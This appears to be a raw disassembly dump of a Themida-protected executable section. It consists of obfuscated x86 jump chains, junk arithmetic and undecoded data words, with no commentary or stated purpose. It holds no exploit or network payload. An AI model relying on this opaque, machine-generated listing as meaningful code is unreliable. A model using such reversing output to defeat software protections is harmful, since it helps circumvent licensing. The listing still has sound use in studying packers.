dd 0E58896B4h, 0E924048Bh, 0FFFFD4BFh, 4C481h, 89570000h
dd 4C781E7h, 83000000h, 3C8704C7h, 0BD555C24h, 4, 10A9AE9h
db 0
; ---------------------------------------------------------------------------
loc_553A39: ; CODE XREF: Themida_:0055534Cj
mov [esp], eax
mov eax, 5F616532h
neg eax
inc eax
shl eax, 4
push edx
mov edx, 5A45736h
or eax, edx
pop edx
jmp loc_5580A8
; ---------------------------------------------------------------------------
byte_553A55 db 64h, 8Fh, 2 ; DATA XREF: Themida_:0054FCC8o
dd 9335E9h, 0C896600h, 0E29E924h, 5E500001h, 81E68956h
dd 4C6h, 4EE8300h, 0E9243487h, 0A403h
aN1Ha db '1Øh]',0 ; DATA XREF: Themida_:0054FDA8o
align 4
dd 1170FE9h, 240C8700h, 2EEC15Ch, 0F681EED1h, 0A8F6FEDh
dd 36D6EE81h, 0ED8112F9h, 429309C7h, 0EE9F501h, 87000101h
dd 895C240Ch, 18E9241Ch, 8B0000ABh, 0C481240Ch, 4, 0EBB2E9h
dd 4C28100h, 87000000h, 335C2414h, 1C31241Ch, 241C3324h
dd 0F15DE95Ch
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553ADE: ; CODE XREF: Themida_:005514F3j
not ebx
xor ebx, 0A7AFBC52h
xor eax, ebx
pop ebx
jmp loc_55BB8A
; ---------------------------------------------------------------------------
dw 1489h
aIISk db '$ˆÊˆÓék%',0
align 2
loc_553AFA: ; CODE XREF: Themida_:00564884j
jz loc_55E824
push eax
jmp loc_55AA02
; ---------------------------------------------------------------------------
aYh_ db 'YhÙ_',0
align 4
dd 89240C89h, 4C181E1h, 81000000h, 4C1h, 0EA8E900h, 0CABE0000h
dd 0BB6EBB32h, 0A160C7BFh, 7AEE9h, 0D5874A00h, 4939F581h
dd 0BA526E5Bh, 174440F5h, 814AD2F7h, 2E2AB6F2h, 5AD501BCh
dd 0E95DE809h, 0D924h
; ---------------------------------------------------------------------------
loc_553B54: ; CODE XREF: Themida_:0055C817j
pop esi
sub edx, 4
xchg edx, [esp]
jmp loc_555C6F
; ---------------------------------------------------------------------------
dd 4EC81h, 0A0E90000h
db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553B6B: ; CODE XREF: Themida_:005590ADj
mov edi, 0E30780Bh
push eax
jmp loc_5542F9
; ---------------------------------------------------------------------------
loc_553B76: ; CODE XREF: Themida_:00551C58j
push edi
push ebx
pop edi
pop ebx
or edi, 5C5734FFh
jmp loc_55FEEF
; ---------------------------------------------------------------------------
db 57h, 0BFh, 0D5h
dd 8160076Ch, 0E5573CC1h, 0E9F9290Ch, 3294h, 0F681E6D1h
dd 7D8C6D35h, 11F6814Eh, 8114A13Ch, 0F5687FF6h, 5EF1011Fh
dd 8B240C87h, 2E92424h, 81FFFFE8h, 0C2098BE3h, 61C38133h
dd 0F75FF417h, 0C1DBF7DBh, 0C38102E3h, 848CBF42h, 6E9DD29h
db 42h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553BDB: ; CODE XREF: Themida_:0055270Ej
pop esi
push ebx
mov ebx, 52E93C4Fh
neg ebx
jmp loc_5591FA
; ---------------------------------------------------------------------------
db 8Bh, 2 dup(24h)
dd 0FF241C89h, 8B042474h, 8951241Ch, 0A1BD55E1h, 0C1794C16h
dd 0E58107E5h, 4EA41435h, 1004BA52h, 0D5310600h, 0FD2FE95Ah
dd 0C281FFFFh, 758D76C2h, 5CEA815Dh, 10CBD05h, 5CC281CAh
dd 560CBD05h, 0BB2A94BEh, 6EEC146h, 457BCE81h, 0EEC15B12h
dd 0CAEE8106h, 1F36801h, 0C8B5EF2h, 0E6895624h, 4C681h
dd 0D3E90000h, 0BB000057h, 644E3FD4h, 0D3F7DBF7h, 0BF67E9h
db 0
; ---------------------------------------------------------------------------
loc_553C65: ; CODE XREF: Themida_:00558882j
mov eax, [esp]
jmp loc_554D9D
; ---------------------------------------------------------------------------
db 42h, 0F7h, 0DAh
dd 83FBEA81h, 0D3899C29h, 8BDF015Ah, 0C481241Ch, 4, 2BD55h
dd 0EF010000h, 8B2434FFh, 0EDE9242Ch
db 32h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_553C97: ; CODE XREF: Themida_:00562AFDj
or edx, eax
shl edx, 1
sub esp, 4
mov [esp], edx
push eax
push 48055E2h
pop eax
not eax
jmp loc_558178
; ---------------------------------------------------------------------------
dw 14F7h
dd 240C8B24h, 8104C483h, 902237F1h, 86E952F2h, 68FFFFEBh
dd 18D8h, 83243489h, 8F5404ECh, 0BE562404h, 4, 4247401h
dd 2434FF5Eh, 8324348Bh, 0AF6804C4h, 8900003Ah, 0E0892404h
dd 405h, 4C08300h, 8E04E9h
db 0
; ---------------------------------------------------------------------------
loc_553D01: ; CODE XREF: Themida_:00562742j
push 476Bh
jmp loc_551E34
; ---------------------------------------------------------------------------
loc_553D0B: ; CODE XREF: Themida_:00552723j
mov ebx, 4
jmp loc_561BF2
; ---------------------------------------------------------------------------
db 81h, 0C4h, 4
dd 81000000h, 4C4h, 0BF575300h, 7E221D28h, 221D2CBBh, 5FFB317Eh
dd 0FFC787E9h, 243481FFh, 73990311h, 68555258h, 0FD1370Dh
dd 0E4E9515Dh, 0DEh, 0E3C058E3h, 0A7C38005h, 3CE9D3F6h
dd 100002Eh, 8BB850DDh, 0E93CD51Eh, 10082h, 4EC815Ch, 89000000h
dd 58542404h, 405h, 4E88300h, 31240433h, 4332404h, 2C895C24h
dd 24BB5324h, 89000000h, 50535BDDh, 0FB7F3FB8h, 78F50D52h
dd 39E91883h, 5600010Ah, 0BE10DFBEh, 9CC68103h, 0E97C4B00h
dd 9E87h
; ---------------------------------------------------------------------------
loc_553DB4: ; CODE XREF: Themida_:005543F3j
add esi, ebp
pop ebp
push 31D5h
mov [esp], ebx
push 1A3Eh
mov [esp], edi
jmp loc_55D9E2
; ---------------------------------------------------------------------------
loc_553DCC: ; CODE XREF: Themida_:0055EA30j
mov [esp], edi
jmp loc_561D08
; ---------------------------------------------------------------------------
dd 2C8BEB01h, 0DDE4E924h, 0EA810000h, 77D523DEh, 0B4E9CA01h
dd 47000088h, 348B5756h, 0E2895224h, 4C281h, 0C2810000h
dd 4, 5C241487h, 81243C8Bh, 4C4h, 0D1D6F700h, 2EEC1EEh
dd 80F68146h, 5511B6F3h, 0FF6A16BDh, 6951E92Eh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553E26: ; CODE XREF: Themida_:005580B3j
mov edx, 6C5E373Bh
sub ecx, edx
pop edx
sub ecx, eax
push edi
mov edi, 33BB7E37h
push ecx
mov ecx, 5D7937FEh
and ecx, 423E489Ah
neg ecx
sub ecx, 8B66C8ACh
xor edi, ecx
jmp loc_5575A2
; ---------------------------------------------------------------------------
db 81h, 0EBh, 0A6h
dd 89BCD49Fh, 241C8BDEh, 81595451h, 4C1h, 0C862E900h, 814A0000h
dd 0FE2112F2h, 8BD189FEh, 80E92414h
db 3, 1, 0
; ---------------------------------------------------------------------------
loc_553E7B: ; CODE XREF: Themida_:00564E34j
not edi
xchg eax, edi
inc eax
push esi
jmp loc_560EA9
; ---------------------------------------------------------------------------
db 5Ah, 81h, 0C2h
dd 4, 0D47CE9h, 99EA8100h, 812C701Bh, 0A16F38EAh, 0AE1BE96Ah
dd 1C890000h, 7B1DBB24h, 2E93083h, 81FFFFCEh, 8BD354C3h
dd 5179E9D1h, 0EC810000h, 4, 0BA241489h, 435A3728h, 8102EAC1h
dd 4ECh, 0F9C9E900h, 0F001FFFFh, 58C1015Eh, 4EC81h, 3C890000h
dd 138F6824h, 3C8B279Fh, 7B0DE924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553EF2: ; CODE XREF: Themida_:0055C00Fj
pop edi
shr ecx, 7
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], esi
push 7EB60D96h
jmp loc_557A10
; ---------------------------------------------------------------------------
loc_553F09: ; CODE XREF: Themida_:0055B8EBj
pop eax
add esp, 4
shr edx, 4
shr edx, 3
add edx, 0FFFFFFFFh
not edx
add edx, 1
xor edx, 5FFA3769h
add esi, 1F4E69CFh
sub esi, edx
sub esi, 1F4E69CFh
jmp loc_554070
; ---------------------------------------------------------------------------
loc_553F34: ; CODE XREF: Themida_:0055D07Dj
sub esp, 4
jmp loc_559C31
; ---------------------------------------------------------------------------
dd 52242C8Bh, 0ABE9E289h, 0E900010Ch, 0FFFFBFCBh, 4E9815Ah
dd 87000000h, 895C240Ch, 5F54243Ch, 3AE95155h, 83000029h
dd 895304C4h, 4C381E3h, 83000000h, 1C8704EBh, 3C895C24h
dd 0F126E924h, 0C1290000h, 91E95658h, 590000E4h, 0FF2434FFh
dd 0E95F2434h, 0FFFFFA84h
; ---------------------------------------------------------------------------
loc_553F94: ; CODE XREF: Themida_:005611F1j
add esp, 4
jmp loc_5585EB
; ---------------------------------------------------------------------------
dd 7A569F05h, 4EC8363h, 53240489h, 93E95B58h, 2000006Dh
dd 0ACEFE9C8h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_553FB6: ; CODE XREF: Themida_:00558268j
push edx
mov edx, 4
add ebp, 0A120872h
add ebp, edx
sub ebp, 0A120872h
pop edx
xchg ebp, [esp]
pop esp
push 1174h
jmp loc_554555
; ---------------------------------------------------------------------------
loc_553FD9: ; CODE XREF: Themida_:00557313j
push 0D892267Dh
pop eax
xor ebp, eax
pop eax
xor eax, ebp
pop ebp
and eax, 5B950E57h
push ecx
mov ecx, 0CA613AA5h
add eax, ecx
pop ecx
sub ecx, 2FB6E72h
jmp loc_55CD1F
; ---------------------------------------------------------------------------
dw 8F54h
dd 4832404h, 34FF0424h, 0C8E95E24h, 1000106h, 5F04247Ch
dd 83243C8Bh, 0EC8104C4h, 4, 0E9241489h, 0C0B2h, 4EB81h
dd 0FF530000h, 5B042474h, 0FFD405E9h, 9CC83BFFh, 0FFBED6E9h
dd 0E1C181FFh, 0E966192Ch, 0DDF6h, 5C243C87h, 2AA8E9h
dd 242C8900h, 4BDh, 3004E900h, 0EF810000h, 73C2302Fh, 0E951C701h
dd 59FBh
; ---------------------------------------------------------------------------
loc_554070: ; CODE XREF: Themida_:00553F2Fj
pop edx
jmp loc_561E99
; ---------------------------------------------------------------------------
dw 0C483h
dd 4C48304h, 2BE5652h, 0E9000000h, 7E57h
; ---------------------------------------------------------------------------
loc_554088: ; CODE XREF: Themida_:00560F0Ej
mov edx, 13074E0Dh
or edx, 421362CDh
shr edx, 4
or edx, 4E3C0A29h
jmp loc_5597CC
; ---------------------------------------------------------------------------
db 81h, 0E9h, 0F6h
dd 5A2E3863h, 3F03C181h, 34FF54E3h, 2434FF24h, 4C48358h
dd 6804C483h, 6A66h, 0E9242C89h, 0FFFFDF0Eh, 5C240C33h
dd 72B5E9h, 8E2C100h, 0CA81D2F7h, 3B475259h, 0F281D2F7h
dd 0CB33E4D9h, 5737E9h
db 0
byte_5540E9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FE34o
dd 4EC8124h, 89000000h, 0E6892434h, 4C681h, 0DBE90000h
dd 1FFFFEBh, 3C335AD7h, 243C3124h, 8B243C33h, 1C332424h
dd 241C3124h, 0FFDE0FE9h, 0D3C781FFh, 1E0C80Fh, 0EA815FFAh
dd 197E670Ch, 0C281F201h, 197E670Ch, 40C2EA81h, 9DE96027h
db 1Ah, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55413F: ; CODE XREF: Themida_:005567A7j
inc edx
push ebx
mov ebx, 2CCC655Ah
add edx, ebx
pop ebx
push edi
mov edi, 65FEF29Fh
xor edx, edi
pop edi
mov edi, edx
jmp loc_564EEB
; ---------------------------------------------------------------------------
db 89h, 2 dup(24h)
dd 8904EC83h, 4BE2434h, 1000000h, 5E042474h, 4BF575Dh
dd 1000000h, 2434FFFDh, 8B54535Fh, 0C483241Ch, 4BF5704h
dd 1000000h, 6CE95FFBh, 8B000085h, 0C483242Ch, 0C1835D04h
dd 74FF5102h, 0C8B0424h, 4C48324h, 5C24048Fh, 9C2424D3h
dd 0FFBD66E9h, 0C6815BFFh, 75361DCAh, 0B0E9EE01h
db 63h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5541BF: ; CODE XREF: Themida_:0055A4A6j
add esp, 4
add edi, eax
jmp loc_551912
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 45E95456h
db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5541D3: ; CODE XREF: Themida_:0055565Dj
pop eax
pop eax
movzx eax, al
jmp loc_557983
; ---------------------------------------------------------------------------
db 5, 36h, 0EEh
dd 0C509F480h, 0D5F74D58h, 825F581h, 0E9010900h, 0FFD841E9h
dd 0C7815DFFh, 338F5E32h, 0FFDC62E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_554201: ; CODE XREF: Themida_:00556424j
push ebp
jmp loc_5530F5
; ---------------------------------------------------------------------------
loc_554207: ; CODE XREF: Themida_:00564FC1j
xor eax, 2FFB37B8h
push eax
not dword ptr [esp]
pop eax
sub eax, 0A8F43D8h
and eax, 72576C24h
xor eax, 0CD489C27h
add ebp, eax
jmp loc_55D285
; ---------------------------------------------------------------------------
db 0BBh
dd 22F8619Eh, 7DA2CB81h, 0E94B5A3Ch, 4B54h, 68E68956h
dd 2576h, 0FFF115E9h, 0FFED80FFh, 0B652E5D0h, 5AF52823h
dd 83A2F580h, 48904ECh, 2838B024h, 0C38058C3h, 80EB28AAh
dd 0C380AAEBh, 240C8B38h, 8004C483h, 0DA28C0EAh, 8BC0C280h
dd 0C481241Ch, 4, 685AD028h, 474Fh, 0B7241C89h, 5CF568BFh
dd 4890000h, 4EC8124h, 89000000h, 0EB3241Ch, 0E9D98851h
dd 0DE9Ah
; ---------------------------------------------------------------------------
loc_5542A8: ; CODE XREF: Themida_:00559073j
push ebp
mov ebp, 4
add ebx, ebp
jmp loc_563CB1
; ---------------------------------------------------------------------------
db 29h, 0EFh, 8Bh
dd 0C481242Ch, 4, 1BCBE9h
db 0
byte_5542C5 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FD4Co
dd 4EC8324h, 0E9241489h, 9413h
; ---------------------------------------------------------------------------
loc_5542D4: ; CODE XREF: Themida_:0055BAA3j
sub esi, 7B512879h
jmp loc_55F7A7
; ---------------------------------------------------------------------------
db 29h
dd 0DD895EF3h, 0BAAEE9h, 0FFD00100h, 835A2434h, 0C80104C4h
dd 0E6AEE9h
db 0
; ---------------------------------------------------------------------------
loc_5542F9: ; CODE XREF: Themida_:00553B71j
push 15E7h
mov [esp], esp
add dword ptr [esp], 4
jmp loc_550055
; ---------------------------------------------------------------------------
loc_55430D: ; CODE XREF: Themida_:0055C98Dj
mov [esp], ebx
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_550E9E
; ---------------------------------------------------------------------------
dd 36EF68h, 241C8900h, 0ED6C01BBh, 3929684Eh, 31587852h
dd 0E9505BD8h, 975Bh
; ---------------------------------------------------------------------------
loc_554340: ; CODE XREF: Themida_:005527EAj
and esi, ecx
jmp loc_556B73
; ---------------------------------------------------------------------------
db 0FFh
a4SM db '4$é',0Ah
db 'Œ',0
dw 8100h
dd 4ECh, 24248900h, 50B85057h, 0BF28C179h, 28C17954h, 1BE9C729h
dd 10000DEh, 24148BD3h, 4C481h, 0A9E90000h, 5A000056h
dd 0E95BD800h, 2523h
; ---------------------------------------------------------------------------
loc_554384: ; CODE XREF: Themida_:00555A69j
push esp
pop ecx
add ecx, 4
push esi
jmp loc_55D5D2
; ---------------------------------------------------------------------------
loc_554392: ; CODE XREF: Themida_:0055CD2Ej
add ecx, 1F7B249Bh
sub ecx, edi
sub ecx, 1F7B249Bh
pop edi
jmp loc_5632AC
; ---------------------------------------------------------------------------
dw 0EC83h
dd 24048904h, 0A16EF9B8h, 3A402D4Ch, 0D8F7256Dh, 168AC335h
dd 8E950ACh
db 9Bh, 2 dup(0)
byte_5543C3 db 66h ; DATA XREF: Themida_:0054FE5Co
dd 68240C8Bh, 0C3Ah, 54243489h
db 8Bh, 34h, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
sub esp, 4
mov [esp], ebp
mov ebp, 4
jmp loc_553DB4
; ---------------------------------------------------------------------------
aMqhr db '¬Qhà',7,0 ; DATA XREF: Themida_:0054FD20o
dw 8900h
dd 75B7241Ch, 0E8B75352h, 87C0E9h
db 0
; ---------------------------------------------------------------------------
loc_55440D: ; CODE XREF: Themida_:0055272Ej
not ebp
sub ebp, 2E1C5693h
dec ebp
xor ebp, 2D4A19E5h
xor edx, ebp
pop ebp
add edi, edx
mov edx, [esp]
add esp, 4
sub edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_55700C
; ---------------------------------------------------------------------------
loc_55443B: ; CODE XREF: Themida_:005519C9j
mov [esp], eax
push edx
push 75725DCh
pop edx
add edx, 0F8A8DA40h
jmp loc_55B17F
; ---------------------------------------------------------------------------
dd 241CF757h, 0FFC7815Fh, 0F7FFFFFFh, 17B868D7h, 1C890000h
dd 6D95BB24h, 0DF014896h, 2FDCE9h, 4EC8300h, 83241C89h
dd 348904ECh, 71796824h, 4E5E4565h, 773768h, 242C8900h
dd 894FE9h, 0E3895300h, 319D68h, 24048900h, 4B8h, 58C30100h
dd 0FFC441E9h, 24048BFFh, 8004C483h, 0FE286DC6h, 8B6DEE80h
dd 2CE9241Ch, 25FFFFD7h, 111C7360h, 31005135h, 0EF330573h
dd 1AE9DC26h
db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_5544D3: ; CODE XREF: Themida_:0055D61Fj
shl eax, 7
shr eax, 1
not eax
sub eax, 664BF257h
and ebx, eax
pop eax
sub ebx, 4567D822h
mov esi, ebx
pop ebx
add ebx, 6BAA19B7h
sub ebx, esi
sub ebx, 6BAA19B7h
jmp loc_562394
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 0E2895224h, 0FFBD7BE9h, 0FEBAB1FFh, 3AE980C1h, 8020C180h
dd 0D56886E9h, 89000077h, 0CC882404h, 90FE9h, 97553500h
dd 0C5211BFFh, 14F75558h, 0E1A3E924h, 0EE81FFFFh, 0ABD4819h
dd 0B943E9h, 51505A00h, 0A44782B9h, 0CFEEB819h, 0C8013962h
dd 7762E9h
db 0
; ---------------------------------------------------------------------------
loc_554555: ; CODE XREF: Themida_:00553FD4j
mov [esp], ebp
mov ebp, 1
and eax, ebp
jmp loc_564855
; ---------------------------------------------------------------------------
loc_554564: ; CODE XREF: Themida_:005548E4j
mov [esp], edx
mov edx, 38A5795Dh
and edi, edx
mov edx, [esp]
add esp, 4
jmp loc_55EDC4
; ---------------------------------------------------------------------------
db 81h, 0EDh, 0AFh
dd 0E905AA3Ch, 7D74h
; ---------------------------------------------------------------------------
loc_554584: ; CODE XREF: Themida_:0055CEFDj
pop eax
add edx, eax
sub edx, 77ED24F2h
pop eax
jmp loc_562B5E
; ---------------------------------------------------------------------------
loc_554593: ; CODE XREF: Themida_:00561118j
pop esp
mov [esp], ebp
mov ebp, 57961B94h
xor esi, ebp
pop ebp
jmp loc_555592
; ---------------------------------------------------------------------------
loc_5545A4: ; CODE XREF: Themida_:00563DDDj
pop ebx
sub esi, eax
add esi, 30072753h
jmp loc_55C5CC
; ---------------------------------------------------------------------------
dw 0C481h
dd 4, 7AD8E9h
db 0
; ---------------------------------------------------------------------------
loc_5545BD: ; CODE XREF: Themida_:0055273Cj
add edi, edx
mov edx, [esp]
add esp, 4
push eax
sub esp, 4
mov [esp], ebx
push esi
jmp loc_55A480
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
aZsts db 'ZSTé>×',0
align 10h
dd 34663BBDh, 58C531C5h, 0BE5BDD01h, 140EA7C5h, 0E0A9E9h
db 0
; ---------------------------------------------------------------------------
loc_5545F5: ; CODE XREF: Themida_:00556816j
xor dh, 7Bh
jmp loc_55976A
; ---------------------------------------------------------------------------
db 0C1h, 0E6h, 3
aPsY db 'PéÚY',0
align 2
loc_554606: ; CODE XREF: Themida_:005622ACj
mov dl, 80h
jmp loc_554FC3
; ---------------------------------------------------------------------------
db 87h, 34h, 24h
dd 34FEE9h
db 0
; ---------------------------------------------------------------------------
loc_554615: ; CODE XREF: Themida_:005609C0j
mov ebx, [esp]
jmp loc_555F55
; ---------------------------------------------------------------------------
db 81h, 4, 24h
dd 4, 8124048Fh, 4ECh, 242C8900h, 4BDh, 24448100h, 4B628B04h
dd 246C813Fh, 0C208F904h, 94F9E90Bh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55464A: ; CODE XREF: Themida_:0055E699j
add esp, 4
add eax, 0BB5BA77Bh
jmp loc_55F301
; ---------------------------------------------------------------------------
loc_554657: ; CODE XREF: Themida_:0055098Fj
mov esi, 241C079Fh
add eax, esi
pop esi
add eax, 5020283Dh
mov ebx, [esp]
add esp, 4
push edi
mov edi, esp
jmp loc_55996B
; ---------------------------------------------------------------------------
loc_554675: ; CODE XREF: Themida_:0055FEEAj
pop esp
pop ebx
jmp loc_555D61
; ---------------------------------------------------------------------------
dd 582434FFh, 4C481h, 0C1830000h, 74FF5102h, 8F590424h
dd 248B2404h, 2424D224h, 1B45E99Ch, 0C2810000h, 42817BACh
dd 0BFE9EA01h, 8B0000B2h, 0E9522434h, 0BB23h, 0B6241489h
dd 806EB400h, 0F42840ECh, 5A40C480h, 48BE530h, 4C48124h
dd 80000000h, 25E9FAC5h
db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5546D7: ; CODE XREF: Themida_:00552E97j
add edi, 2
xchg edi, [esp]
mov esp, [esp]
jmp loc_55E706
; ---------------------------------------------------------------------------
loc_5546E8: ; CODE XREF: Themida_:0055A6B8j
pop esp
jmp loc_56054B
; ---------------------------------------------------------------------------
dw 0E8B6h
dd 63E9F730h, 890000EFh, 4C781E7h, 83000000h, 45E904C7h
dd 51FFFFF9h, 4E9C0B5h, 29000073h, 1FF068D8h, 3C890000h
dd 4C58BF24h, 5368594Ah, 8900004Eh, 0AABB241Ch, 4B1A3B18h
dd 7E2CE9h
db 0
; ---------------------------------------------------------------------------
loc_554731: ; CODE XREF: Themida_:0055BA6Dj
xor [esp], esi
push esi
push esp
pop esi
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esi
jmp loc_565157
; ---------------------------------------------------------------------------
dd 405E089h, 57000000h, 4BFh, 51DE900h
db 1, 0
; ---------------------------------------------------------------------------
loc_55475E: ; CODE XREF: Themida_:005652C1j
push ecx
mov ecx, 3B4A0B0Ah
and ecx, 4EB031C5h
sub ecx, 2A2A5BB8h
not ecx
shr ecx, 1
shl ecx, 4
add ecx, 64C4370Dh
jmp loc_552C22
; ---------------------------------------------------------------------------
loc_554782: ; CODE XREF: Themida_:00564F9Fj
pop esp
jmp loc_558E65
; ---------------------------------------------------------------------------
loc_554788: ; CODE XREF: Themida_:0055E4FBj
push ebp
mov ebp, 7313F5C8h
add esi, ebp
pop ebp
jmp loc_556FEF
; ---------------------------------------------------------------------------
dw 5401h
dd 0E95A0824h, 0FFFFE343h, 15E9D689h, 83000018h, 348904ECh
dd 38E95324h, 66000035h, 0D5E9505Ah, 0E9FFFFF1h, 0FFFFB757h
; ---------------------------------------------------------------------------
loc_5547C0: ; CODE XREF: Themida_:0056161Cj
pop ebx
mov eax, [esp]
add esp, 4
loc_5547C7: ; CODE XREF: Themida_:005531C3j
; Themida_:0055CE5Cj
push 12B0h
mov [esp], ebx
push dword ptr [esp]
pop eax
push esi
push esp
jmp loc_558BF9
; ---------------------------------------------------------------------------
dw 0EC68h
dd 89000008h, 0EEBE2434h, 0E9213806h, 785h, 0E98EE780h
dd 0E39Eh, 1E5DF868h, 2434FF2Ah, 0B9EDE9h, 4EC8100h, 89000000h
dd 8B54240Ch, 43E9240Ch
db 29h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554813: ; CODE XREF: Themida_:005504F5j
mov [esp], ebp
mov ebp, 707A355Ch
sub ebp, 1
add ebp, 3A08644Ch
jmp loc_5576AD
; ---------------------------------------------------------------------------
dd 0E4800AB4h, 7DF480D0h, 0E4C0C4FEh, 0D2B75305h, 0E95BFC30h
dd 3E6Dh
; ---------------------------------------------------------------------------
loc_554844: ; CODE XREF: Themida_:00554AEEj
add edx, 4
add edx, 4
jmp loc_55CED9
; ---------------------------------------------------------------------------
loc_554852: ; CODE XREF: Themida_:00552140j
add esp, 4
jmp loc_559BBA
; ---------------------------------------------------------------------------
loc_55485A: ; CODE XREF: Themida_:00557871j
pop esi
mov eax, [esp]
push edi
mov edi, esp
jmp loc_555021
; ---------------------------------------------------------------------------
dw 0C89h
aTsm db '$Tém·',0
dw 8B00h
dd 0C483243Ch, 0A49DE904h, 0C3810000h, 0DF92E06h, 1E1E9h
dd 79EE8100h, 5A2DC17Dh, 0E906E6C1h, 5B97h
; ---------------------------------------------------------------------------
loc_554894: ; CODE XREF: Themida_:0055C995j
add esp, 4
pop dword ptr [esp]
pop esp
jmp loc_558F1D
; ---------------------------------------------------------------------------
dd 62CCE781h, 0C7814F4Ch, 0B5F39D3Ch, 835FFE01h, 148904ECh
dd 46824h, 148B0000h, 4C48324h, 685AD601h, 6A32h, 0FF243489h
dd 0E9042474h, 0EA56h, 4BDh, 813BE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5548DE: ; CODE XREF: Themida_:0055EEBCj
pop esi
push 6DC9h
jmp loc_554564
; ---------------------------------------------------------------------------
db 83h, 0C5h, 4
dd 8B242C87h, 0D8E92424h
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5548F7: ; CODE XREF: Themida_:00562EFFj
mov [esp], eax
push esi
push 64A95535h
mov esi, [esp]
add esp, 4
sub esi, 43AB2ADCh
jmp loc_564E30
; ---------------------------------------------------------------------------
db 5Bh, 81h, 0C3h
dd 4, 8702C383h, 665C241Ch, 2404AB0Fh, 0DAD1E99Ch, 9E680000h
dd 54000042h, 5524048Fh, 4BA52h, 0D7E90000h, 88000037h
dd 59CB88C1h, 427E6852h, 0C890000h, 0E9D98824h, 0FFFFEC1Dh
dd 6BE9D629h, 53000103h, 97D0E9h
db 0
; ---------------------------------------------------------------------------
loc_554961: ; CODE XREF: Themida_:0056392Fj
pop esp
sub edi, 365B6FA9h
sub edi, ecx
jmp loc_551F74
; ---------------------------------------------------------------------------
db 83h
dd 1C8904ECh, 6328BB24h, 0F74372A9h, 6257E9DBh, 0C1010000h
dd 48AEE9h
db 0
; ---------------------------------------------------------------------------
loc_554989: ; CODE XREF: Themida_:0055EBA7j
mov ecx, 6ED03E7Ch
sub ecx, 0C68972FCh
add ebp, ecx
jmp loc_562F57
; ---------------------------------------------------------------------------
db 0C1h
dd 0BD5503E6h, 4E1270E0h, 4F78C681h, 0EE016F70h, 6C35E9h
dd 0C8B6600h, 7C8E924h, 0C2290001h, 74FF5258h, 148B0424h
dd 2E57E924h, 0C870000h, 0DDE95C24h, 59FFFFB9h, 6E9C15Eh
dd 0BF49E981h, 0C181F0F1h, 2F261776h, 35DF181h, 0E953225Ah
dd 0BBA6h, 405h, 8CE5E900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5549FA: ; CODE XREF: Themida_:00556AF8j
sub esp, 2
mov [esp], si
push edx
mov dx, 6BA7h
sub dx, 1
jmp loc_55A356
; ---------------------------------------------------------------------------
dw 489h
dd 11E5B824h, 0C3012588h, 95C38158h, 81473B62h, 0CC3362C3h
dd 0FAF6E922h, 0E95C0000h, 0EB9Fh
; ---------------------------------------------------------------------------
loc_554A34: ; CODE XREF: Themida_:00558AC6j
add ecx, edi
pop edi
push edx
mov edx, 4
add ecx, edx
pop edx
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
mov esp, [esp]
xor eax, ebp
xor ebp, eax
jmp loc_55F16F
; ---------------------------------------------------------------------------
db 58h, 0E9h, 69h
db 0BBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_554A5B: ; CODE XREF: Themida_:0055EDBFj
xchg ebx, [esp]
pop esp
and eax, ebp
jmp loc_561BB9
; ---------------------------------------------------------------------------
dw 8758h
dd 4BE9241Ch
db 91h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_554A6F: ; CODE XREF: Themida_:0055FB94j
mov ebx, esp
add ebx, 4
push ecx
mov ecx, 63A65F41h
inc ecx
xchg ebp, ecx
not ebp
xchg ebp, ecx
and ecx, 11C82974h
add ecx, 285B6023h
sub ecx, 38A38053h
jmp loc_550A28
; ---------------------------------------------------------------------------
loc_554A9B: ; CODE XREF: Themida_:005607A5j
push dword ptr [esp]
pop edx
push 1885h
mov [esp], edx
mov edx, esp
push esi
mov esi, 4B460BA0h
or esi, 520F4BD8h
jmp loc_55D11D
; ---------------------------------------------------------------------------
dw 348Bh
dd 4C48124h, 0C1000000h, 0C38106EBh, 4B4A50CFh, 8101EB83h
dd 0AD3940C3h, 123E922h, 0BC0D0001h, 254CF84Dh, 10065355h
dd 3554E953h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_554AEA: ; CODE XREF: Themida_:00565323j
pop edx
push edx
push esp
pop edx
jmp loc_554844
; ---------------------------------------------------------------------------
loc_554AF3: ; CODE XREF: Themida_:0055AC90j
and edi, esi
pop esi
not edi
push ebp
mov ebp, 0DD5E94E1h
jmp loc_55D495
; ---------------------------------------------------------------------------
byte_554B03 db 66h ; DATA XREF: Themida_:0054FDC0o
dd 0E924048Bh, 4793h, 772668h, 24048900h, 1B83E9h, 5E585600h
dd 5596D6F7h, 0FFC0EEE9h, 1B850FFh, 1000000h, 0F93158C7h
